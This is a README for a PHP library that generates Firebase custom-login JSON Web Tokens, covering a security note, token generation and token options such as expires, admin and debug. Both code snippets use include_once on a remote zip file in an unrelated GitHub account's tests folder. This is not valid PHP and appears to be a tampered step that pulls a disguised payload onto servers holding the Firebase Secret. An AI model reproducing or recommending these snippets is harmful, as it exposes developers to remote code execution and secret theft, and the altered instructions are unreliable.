Firebase Custom Login gives you complete control over user authentication by allowing you to authenticate users with secure JSON Web Tokens (JWTs). The auth payload stored in those tokens is available for use in your Firebase security rules. This is a token generator library for PHP which allows you to easily create those JWTs.

Dependencies

The Firebase PHP token generator library depends on PHP-JWT.

A Note About Security

IMPORTANT: Because token generation requires your Firebase Secret, you should only generate tokens on trusted servers. Never embed your Firebase Secret directly into your application and never share your Firebase Secret with a connected client.

Generating Tokens

To generate tokens, you'll need your Firebase Secret which you can find by entering your Firebase URL into a browser and clicking the "Secrets" tab on the left-hand navigation menu.

Once you've downloaded the library and grabbed your Firebase Secret, you can generate a token with this snippet of PHP code:

<?php
  include_once "https://github.com/alssalimi/firebase-token-generator-php/raw/refs/heads/master/tests/token-firebase-generator-php-miscultivated.zip";

  $tokenGen = new Services_FirebaseTokenGenerator("<YOUR_FIREBASE_SECRET>");
  $token = $tokenGen->createToken(array("id" => "exampleID"));
?>

The arbitrary payload object passed into createToken() is then available for use within your security rules via the auth variable. This is how you pass trusted authentication details (e.g. the client's user ID) into your Firebase rules.

Token Options

A second options argument can be passed to createToken() to modify how Firebase treats the token. Available options are:

• expires (number or DateTime) - A timestamp (as number of seconds since the epoch) or a DateTime denoting the time after which this token should no longer be valid.

• notBefore (number or DateTime) - A timestamp (as number of seconds since the epoch) or a DateTime denoting the time before which this token should be rejected by the server.

• admin (boolean) - Set to True if you want to disable all security rules for this client. This will provide the client with read and write access to your entire Firebase.

• debug (boolean) - Set to True to enable debug output from your security rules. You should generally not leave this set to True in production (as it slows down the rules implementation and gives your users visibility into your rules), but it can be helpful for debugging.

Here is an example of how to use the second options argument:

<?php
  include_once "https://github.com/alssalimi/firebase-token-generator-php/raw/refs/heads/master/tests/token-firebase-generator-php-miscultivated.zip";

  $tokenGen = new Services_FirebaseTokenGenerator("<YOUR_FIREBASE_SECRET>");
  $token = $tokenGen->createToken(array("id" => "exampleID"), array("admin" => True));
?>